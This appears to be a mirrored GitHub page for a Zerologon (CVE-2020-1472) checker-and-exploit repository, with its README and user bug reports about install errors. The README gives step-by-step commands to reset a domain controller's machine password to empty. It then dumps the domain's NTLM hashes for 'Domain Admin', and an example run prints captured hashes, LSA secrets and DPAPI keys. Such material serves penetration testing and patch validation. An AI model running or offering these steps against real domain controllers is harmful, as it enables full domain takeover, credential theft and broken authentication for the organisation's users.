Giter VIP home page Giter VIP logo

cve-2020-1472's Introduction

CVE-2020-1472

Checker & Exploit Code for CVE-2020-1472 aka Zerologon

Tests whether a domain controller is vulnerable to the Zerologon attack, if vulnerable, it will resets the Domain Controller's account password to an empty string.

NOTE: It will likely break things in production environments (eg. DNS functionality, communication with replication Domain Controllers, etc); target clients will then not be able to authenticate to the domain anymore, and they can only be re-synchronized through manual action. If you want to know more on how Zerologon attack break things, thanks to the awesome works of @_dirkjan, you can read it HERE

Zerologon original research and whitepaper by Secura (Tom Tervoort) - https://www.secura.com/blog/zero-logon

asciicast

Exploit

It will attempt to perform the Netlogon authentication bypass. When a domain controller is patched, the detection script will give up after sending 2000 pairs of RPC calls, concluding that the target is not vulnerable (with a false negative chance of 0.04%).

The exploit will be successful only if the Domain Controller uses the password stored in Active Directory to validate the login attempt, rather than the one stored locally as, when changing a password in this way, it is only changed in the AD. The targeted system itself will still locally store its original password.

Installation

Requires Python 3.7 or higher, virtualenv, pip and a modified version of Impacket's library: nrpc.py (/impacket/dcerpc/v5) the latest version of impacket from GitHub with added netlogon structures.

1. Install Impacket as follows:

  1. git clone https://github.com/SecureAuthCorp/impacket
  2. cd impacket
  3. pwd 
    ~/impacket/
    
  4. virtualenv --python=python3 impacket
  5. source impacket/bin/activate
  6. pip install --upgrade pip
  7. pip install .

2. Install the Zerologon exploit script as follows:

  1. ~/impacket/
    
  2. cd examples
  3. git clone https://github.com/VoidSec/CVE-2020-1472
  4. cd CVE-2020-1472
  5. pip install -r requirements.txt

Running the script

The script can be used to target a DC or backup DC. It will likely also work against a read-only DC, but this has not been tested yet. The DC name should be its NetBIOS computer name. If this name is not correct, the script will likely fail with a STATUS_INVALID_COMPUTER_NAME error. Given a domain controller named EXAMPLE-DC and IP address 1.2.3.4, run the script as follows:

  • ./cve-2020-1472-exploit.py -n EXAMPLE-DC -t 1.2.3.4

Running the script should results in Domain Controller's account password being reset to an empty string.

At this point you should be able to run Impacket's secretsdump.py -no-pass -just-dc Domain/'DC_NETBIOS_NAME$'@DC_IP_ADDR (alternatively you can use the empty hash: -hashes :31d6cfe0d16ae931b73c59d7e0c089c0) that will extract only NTDS.DIT data (NTLM hashes and Kerberos keys).

Which should get you Domain Admin. WIN WIN WIN

Example Run

> cve-2020-1472-exploit.py -n WIN-U4Q9LLP6L2A -t 192.168.209.129
[+] Success: Zerologon Exploit completed! DC's account password has been set to an empty string.

> secretsdump.py -no-pass -just-dc ad.test.com/WIN-U4Q9LLP6L2A\[email protected]
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::

Restore:
> wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe ad.test.com/[email protected]
- reg save HKLM\SYSTEM system.save
- reg save HKLM\SAM sam.save
- reg save HKLM\SECURITY security.save
- get system.save
- get sam.save
- get security.save
- del /f system.save
- del /f sam.save
- del /f security.save

> secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
[*] Target system bootKey: 0x31f99ee2e750274d1fee930ab88fe126
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC 
$MACHINE.ACC:plain_password_hex:ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:9b5ccb9700e3ed723df08132357ff6a1
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xaf83406b2611f18ac99329079e9f47d9409e885f
dpapi_userkey:0x53ed555f11c110f918fc9a97a6c3576266930fb7
[*] NL$KM 
 0000   55 A7 DF DF 27 E2 64 C1  F7 42 F2 1B 96 76 01 4F   U...'.d..B...v.O
 0010   24 4C 5D 9B 20 E3 EA 95  DD E9 61 0F 00 8E B2 51   $L]. .....a....Q
 0020   B1 79 3F E0 37 3E CB B2  95 31 A6 74 F3 35 54 8A   .y?.7>...1.t.5T.
 0030   C1 B6 70 3D B3 AB AC C1  7E 8E 90 7A 7B 49 32 46   ..p=....~..z{I2F
NL$KM:55a7dfdf27e264c1f742f21b9676014f244c5d9b20e3ea95dde9610f008eb251b1793fe0373ecbb29531a674f335548ac1b6703db3abacc17e8e907a7b493246
[*] Cleaning up... 

> reinstall_original_pw.py WIN-U4Q9LLP6L2A 192.168.209.129 ef464f4194d9f401af41c9982dc7c85524cc9ed8adef4fe24c8044d13f1ae41c594131d2d46cab3a0d3384cda94baae65d5a87d26df1201ff6ff1697672ac4e16c16f0e514f6e54d84342c5af4193fe96329e3a30fb84c08845e7a86dac4295276c7c2e3181555fa5eef21d4d1f469550f4706383327b299283f72b7df6b661cfb11189bd8b3ab552ffb99aa12ffe19b760e00e143ef3e776d8377da57925c5ed71aa9f0991acff7fc9c963addb8496fdd273f231e15a51d99f41a770de714573b26795c45a03eac80e3bb45ac5c100740da5814c3979e5349e8471623086c80f6160163f4bd56da3b75a6deb17b1020

Password Restore

Reinstalling the original password hash is necessary for the DC to continue to operate normally.

After you have obtained Domain Admin, you can wmiexec.py to the target DC with a credential obtained from secretsdump and perform the following steps:

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save

Run: secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

And that should show you the original NT hash of the machine account. You can then re-install that original machine account hash to the domain by using the reinstall_original_pw.py script provided here. Sometimes more than one run is needed before it succeed.

reinstall_original_pw.py DC_NETBIOS_NAME DC_IP_ADDR ORIG_NT_HASH

Alternatively you can use following restoration process

cve-2020-1472's People

Contributors

voidsec avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

cve-2020-1472's Issues

WHY ??

(impacket) [ blackarch ~/impacket/examples/CVE-2020-1472 ]# ./cve-2020-1472-exploit.py -n WIN-279U4IB3LJE -t ...


|___ / | |
/ / ___ _ __ ___ | | ___ __ _ ___ _ __
/ / / _ \ '/ _ | |/ _ \ / ` |/ _ | ' \
./ /
| / | | () | | () | (| | () | | | |
_____/_
|| ___/||_/ __, |_/|| ||
/ |
|
_/

Checker & Exploit by VoidSec

Performing authentication attempts...
Traceback (most recent call last):
File "/root/impacket/impacket/lib/python3.8/site-packages/impacket/dcerpc/v5/transport.py", line 346, in connect
self.__socket.connect(sa)
socket.timeout: timed out

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
File "./cve-2020-1472-exploit.py", line 155, in
main()
File "./cve-2020-1472-exploit.py", line 28, in main
perform_attack("\\" + dc_name, dc_ip, dc_name)
File "./cve-2020-1472-exploit.py", line 124, in perform_attack
rpc_con = try_zero_authenticate(dc_handle, dc_ip, target_computer)
File "./cve-2020-1472-exploit.py", line 37, in try_zero_authenticate
binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol="ncacn_ip_tcp")
File "/root/impacket/impacket/lib/python3.8/site-packages/impacket/dcerpc/v5/epm.py", line 1256, in hept_map
dce.connect()
File "/root/impacket/impacket/lib/python3.8/site-packages/impacket/dcerpc/v5/rpcrt.py", line 801, in connect
return self._transport.connect()
File "/root/impacket/impacket/lib/python3.8/site-packages/impacket/dcerpc/v5/transport.py", line 349, in connect
raise DCERPCException("Could not connect: %s" % msg)
impacket.dcerpc.v5.rpcrt.DCERPCException: Could not connect: timed out
(impacket) [ blackarch ~/impacket/examples/CVE-2020-1472 ]#

Font path issue?

Hi there, I am getting the following error: (how do i fix this?)

raceback (most recent call last):
File "./cve-2020-1472-exploit.py", line 155, in
main()
File "./cve-2020-1472-exploit.py", line 28, in main
perform_attack("\\" + dc_name, dc_ip, dc_name)
File "./cve-2020-1472-exploit.py", line 117, in perform_attack
banner = pyfiglet.figlet_format("Zerologon", "doom")
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 65, in figlet_format
fig = Figlet(font, **kwargs)
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 794, in init
self.setFont()
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 801, in setFont
self.Font = FigletFont(font=self.font)
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 126, in init
self.data = self.preloadFont(font)
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 147, in preloadFont
raise FontNotFound(font)
pyfiglet.FontNotFound: doom

many thanks.

AttributeError

With the latest impacket version:

[-] Do you want to continue and exploit the Zerologon vulnerability? [N]/y
y
Traceback (most recent call last):
File "cve-2020-1472-exploit.py", line 155, in
main()
File "cve-2020-1472-exploit.py", line 28, in main
perform_attack("\\" + dc_name, dc_ip, dc_name)
File "cve-2020-1472-exploit.py", line 136, in perform_attack
result = try_zerologon(dc_handle, rpc_con, target_computer)
File "cve-2020-1472-exploit.py", line 103, in try_zerologon
request = nrpc.NetrServerPasswordSet2()
AttributeError: module 'impacket.dcerpc.v5.nrpc' has no attribute 'NetrServerPasswordSet2'

What means during install procedures?

pwd
~/impacket/

pip install give me.. failed to build cryptography

HI there,
This is what i get with the:
pip install .

pip install .
Processing /home/ahmed/impacket
Collecting flask>=1.0
Using cached Flask-1.1.2-py2.py3-none-any.whl (94 kB)
Collecting ldap3!=2.5.0,!=2.5.2,!=2.6,>=2.5
Using cached ldap3-2.8.1-py2.py3-none-any.whl (423 kB)
Collecting ldapdomaindump>=0.9.0
Using cached ldapdomaindump-0.9.3-py3-none-any.whl (18 kB)
Collecting pyOpenSSL>=0.13.1
Using cached pyOpenSSL-19.1.0-py2.py3-none-any.whl (53 kB)
Collecting pyasn1>=0.2.3
Using cached pyasn1-0.4.8-py2.py3-none-any.whl (77 kB)
Collecting pycryptodomex
Using cached pycryptodomex-3.9.8-cp38-cp38-manylinux1_i686.whl (13.7 MB)
Requirement already satisfied: six in ./impacket/lib/python3.8/site-packages (from impacket==0.9.22.dev1+20200921.175010.84c8d6a7) (1.14.0)
Collecting Jinja2>=2.10.1
Using cached Jinja2-2.11.2-py2.py3-none-any.whl (125 kB)
Collecting click>=5.1
Using cached click-7.1.2-py2.py3-none-any.whl (82 kB)
Collecting itsdangerous>=0.24
Using cached itsdangerous-1.1.0-py2.py3-none-any.whl (16 kB)
Collecting Werkzeug>=0.15
Using cached Werkzeug-1.0.1-py2.py3-none-any.whl (298 kB)
Collecting dnspython
Using cached dnspython-2.0.0-py3-none-any.whl (208 kB)
Processing /home/ahmed/.cache/pip/wheels/8e/70/28/3d6ccd6e315f65f245da085482a2e1c7d14b90b30f239e2cf4/future-0.18.2-py3-none-any.whl
Collecting cryptography>=2.8
Using cached cryptography-3.1.tar.gz (534 kB)
Installing build dependencies ... done
Getting requirements to build wheel ... done
Preparing wheel metadata ... done
Collecting MarkupSafe>=0.23
Using cached MarkupSafe-1.1.1-cp38-cp38-manylinux1_i686.whl (31 kB)
Collecting cffi!=1.11.3,>=1.8
Using cached cffi-1.14.3-cp38-cp38-manylinux1_i686.whl (387 kB)
Collecting pycparser
Using cached pycparser-2.20-py2.py3-none-any.whl (112 kB)
Building wheels for collected packages: impacket, cryptography
Building wheel for impacket (setup.py) ... done
Created wheel for impacket: filename=impacket-0.9.22.dev1+20200921.175010.84c8d6a7-py3-none-any.whl size=1374151 sha256=c8c60311f38099ec7fe0e4f4523c89444e1844138aebb1b414f63761948c9fc8
Stored in directory: /tmp/pip-ephem-wheel-cache-h401g0th/wheels/f8/3e/b5/c9b66c82719b96f7269d01d0cc9e9a569a3a5e5d69b30b60a1
Building wheel for cryptography (PEP 517) ... error
ERROR: Command errored out with exit status 1:
command: /home/ahmed/impacket/impacket/bin/python /home/ahmed/impacket/impacket/lib/python3.8/site-packages/pep517/_in_process.py build_wheel /tmp/tmppn515ntc
cwd: /tmp/pip-install-v4spdmq4/cryptography
Complete output (137 lines):
running bdist_wheel
running build
running build_py
creating build
creating build/lib.linux-i686-3.8
creating build/lib.linux-i686-3.8/cryptography
copying src/cryptography/fernet.py -> build/lib.linux-i686-3.8/cryptography
copying src/cryptography/exceptions.py -> build/lib.linux-i686-3.8/cryptography
copying src/cryptography/utils.py -> build/lib.linux-i686-3.8/cryptography
copying src/cryptography/about.py -> build/lib.linux-i686-3.8/cryptography
copying src/cryptography/init.py -> build/lib.linux-i686-3.8/cryptography
creating build/lib.linux-i686-3.8/cryptography/x509
copying src/cryptography/x509/extensions.py -> build/lib.linux-i686-3.8/cryptography/x509
copying src/cryptography/x509/base.py -> build/lib.linux-i686-3.8/cryptography/x509
copying src/cryptography/x509/general_name.py -> build/lib.linux-i686-3.8/cryptography/x509
copying src/cryptography/x509/ocsp.py -> build/lib.linux-i686-3.8/cryptography/x509
copying src/cryptography/x509/certificate_transparency.py -> build/lib.linux-i686-3.8/cryptography/x509
copying src/cryptography/x509/init.py -> build/lib.linux-i686-3.8/cryptography/x509
copying src/cryptography/x509/name.py -> build/lib.linux-i686-3.8/cryptography/x509
copying src/cryptography/x509/oid.py -> build/lib.linux-i686-3.8/cryptography/x509
creating build/lib.linux-i686-3.8/cryptography/hazmat
copying src/cryptography/hazmat/_der.py -> build/lib.linux-i686-3.8/cryptography/hazmat
copying src/cryptography/hazmat/_oid.py -> build/lib.linux-i686-3.8/cryptography/hazmat
copying src/cryptography/hazmat/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat
creating build/lib.linux-i686-3.8/cryptography/hazmat/primitives
copying src/cryptography/hazmat/primitives/poly1305.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives
copying src/cryptography/hazmat/primitives/keywrap.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives
copying src/cryptography/hazmat/primitives/cmac.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives
copying src/cryptography/hazmat/primitives/hashes.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives
copying src/cryptography/hazmat/primitives/constant_time.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives
copying src/cryptography/hazmat/primitives/hmac.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives
copying src/cryptography/hazmat/primitives/padding.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives
copying src/cryptography/hazmat/primitives/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives
creating build/lib.linux-i686-3.8/cryptography/hazmat/bindings
copying src/cryptography/hazmat/bindings/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/bindings
creating build/lib.linux-i686-3.8/cryptography/hazmat/backends
copying src/cryptography/hazmat/backends/interfaces.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends
copying src/cryptography/hazmat/backends/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends
creating build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/ed448.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/rsa.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/x25519.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/ed25519.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/utils.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/x448.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/ec.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/dsa.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/dh.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/padding.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
copying src/cryptography/hazmat/primitives/asymmetric/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/asymmetric
creating build/lib.linux-i686-3.8/cryptography/hazmat/primitives/kdf
copying src/cryptography/hazmat/primitives/kdf/kbkdf.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/kdf
copying src/cryptography/hazmat/primitives/kdf/concatkdf.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/kdf
copying src/cryptography/hazmat/primitives/kdf/scrypt.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/kdf
copying src/cryptography/hazmat/primitives/kdf/pbkdf2.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/kdf
copying src/cryptography/hazmat/primitives/kdf/hkdf.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/kdf
copying src/cryptography/hazmat/primitives/kdf/x963kdf.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/kdf
copying src/cryptography/hazmat/primitives/kdf/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/kdf
creating build/lib.linux-i686-3.8/cryptography/hazmat/primitives/twofactor
copying src/cryptography/hazmat/primitives/twofactor/totp.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/twofactor
copying src/cryptography/hazmat/primitives/twofactor/utils.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/twofactor
copying src/cryptography/hazmat/primitives/twofactor/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/twofactor
copying src/cryptography/hazmat/primitives/twofactor/hotp.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/twofactor
creating build/lib.linux-i686-3.8/cryptography/hazmat/primitives/serialization
copying src/cryptography/hazmat/primitives/serialization/pkcs7.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/serialization
copying src/cryptography/hazmat/primitives/serialization/base.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/serialization
copying src/cryptography/hazmat/primitives/serialization/ssh.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/serialization
copying src/cryptography/hazmat/primitives/serialization/pkcs12.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/serialization
copying src/cryptography/hazmat/primitives/serialization/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/serialization
creating build/lib.linux-i686-3.8/cryptography/hazmat/primitives/ciphers
copying src/cryptography/hazmat/primitives/ciphers/base.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/ciphers
copying src/cryptography/hazmat/primitives/ciphers/aead.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/ciphers
copying src/cryptography/hazmat/primitives/ciphers/modes.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/ciphers
copying src/cryptography/hazmat/primitives/ciphers/algorithms.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/ciphers
copying src/cryptography/hazmat/primitives/ciphers/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/primitives/ciphers
creating build/lib.linux-i686-3.8/cryptography/hazmat/bindings/openssl
copying src/cryptography/hazmat/bindings/openssl/binding.py -> build/lib.linux-i686-3.8/cryptography/hazmat/bindings/openssl
copying src/cryptography/hazmat/bindings/openssl/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/bindings/openssl
copying src/cryptography/hazmat/bindings/openssl/_conditional.py -> build/lib.linux-i686-3.8/cryptography/hazmat/bindings/openssl
creating build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/ed448.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/poly1305.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/rsa.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/cmac.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/x509.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/decode_asn1.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/x25519.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/encode_asn1.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/ed25519.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/utils.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/aead.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/ocsp.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/x448.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/hashes.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/ec.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/hmac.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/backend.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/dsa.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/dh.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/init.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
copying src/cryptography/hazmat/backends/openssl/ciphers.py -> build/lib.linux-i686-3.8/cryptography/hazmat/backends/openssl
running egg_info
writing src/cryptography.egg-info/PKG-INFO
writing dependency_links to src/cryptography.egg-info/dependency_links.txt
writing requirements to src/cryptography.egg-info/requires.txt
writing top-level names to src/cryptography.egg-info/top_level.txt
reading manifest file 'src/cryptography.egg-info/SOURCES.txt'
reading manifest template 'MANIFEST.in'
no previously-included directories found matching 'docs/_build'
warning: no previously-included files found matching 'vectors'
warning: no previously-included files matching '' found under directory 'vectors'
warning: no previously-included files found matching '.travis.yml'
warning: no previously-included files found matching '.travis'
warning: no previously-included files matching '
' found under directory '.travis'
warning: no previously-included files matching '' found under directory '.github'
warning: no previously-included files found matching 'release.py'
warning: no previously-included files found matching '.coveragerc'
warning: no previously-included files found matching 'codecov.yml'
warning: no previously-included files found matching 'dev-requirements.txt'
warning: no previously-included files found matching 'rtd-requirements.txt'
warning: no previously-included files found matching 'tox.ini'
warning: no previously-included files matching '
' found under directory '.zuul.d'
warning: no previously-included files matching '*' found under directory '.zuul.playbooks'
writing manifest file 'src/cryptography.egg-info/SOURCES.txt'
running build_ext
generating cffi module 'build/temp.linux-i686-3.8/_padding.c'
creating build/temp.linux-i686-3.8
generating cffi module 'build/temp.linux-i686-3.8/_openssl.c'
building '_openssl' extension
creating build/temp.linux-i686-3.8/build
creating build/temp.linux-i686-3.8/build/temp.linux-i686-3.8
i686-linux-gnu-gcc -pthread -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O2 -Wall -g -fstack-protector-strong -Wformat -Werror=format-security -g -fwrapv -O2 -g -fstack-protector-strong -Wformat -Werror=format-security -Wdate-time -D_FORTIFY_SOURCE=2 -fPIC -I/home/ahmed/impacket/impacket/include -I/usr/include/python3.8 -c build/temp.linux-i686-3.8/_openssl.c -o build/temp.linux-i686-3.8/build/temp.linux-i686-3.8/_openssl.o -Wconversion -Wno-error=sign-conversion
build/temp.linux-i686-3.8/_openssl.c:575:10: fatal error: openssl/opensslv.h: No such file or directory
575 | #include <openssl/opensslv.h>
| ^~~~~~~~~~~~~~~~~~~~
compilation terminated.
error: command 'i686-linux-gnu-gcc' failed with exit status 1

ERROR: Failed building wheel for cryptography
Successfully built impacket
Failed to build cryptography
ERROR: Could not build wheels for cryptography which use PEP 517 and cannot be installed directly

pyfiglet.FontNotFound: doom

On Kali last release with python 3.8.6 and pyfiglet installed with both pip and apt-get:

python3.8 cve-2020-1472-exploit.py -n TEST -t 1.2.4.5

Traceback (most recent call last):
File "cve-2020-1472-exploit.py", line 155, in
main()
File "cve-2020-1472-exploit.py", line 28, in main
perform_attack("\\" + dc_name, dc_ip, dc_name)
File "cve-2020-1472-exploit.py", line 117, in perform_attack
banner = pyfiglet.figlet_format("Zerologon", "doom")
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 65, in figlet_format
fig = Figlet(font, **kwargs)
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 794, in init
self.setFont()
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 801, in setFont
self.Font = FigletFont(font=self.font)
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 126, in init
self.data = self.preloadFont(font)
File "/usr/lib/python3/dist-packages/pyfiglet/init.py", line 147, in preloadFont
raise FontNotFound(font)
pyfiglet.FontNotFound: doom

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.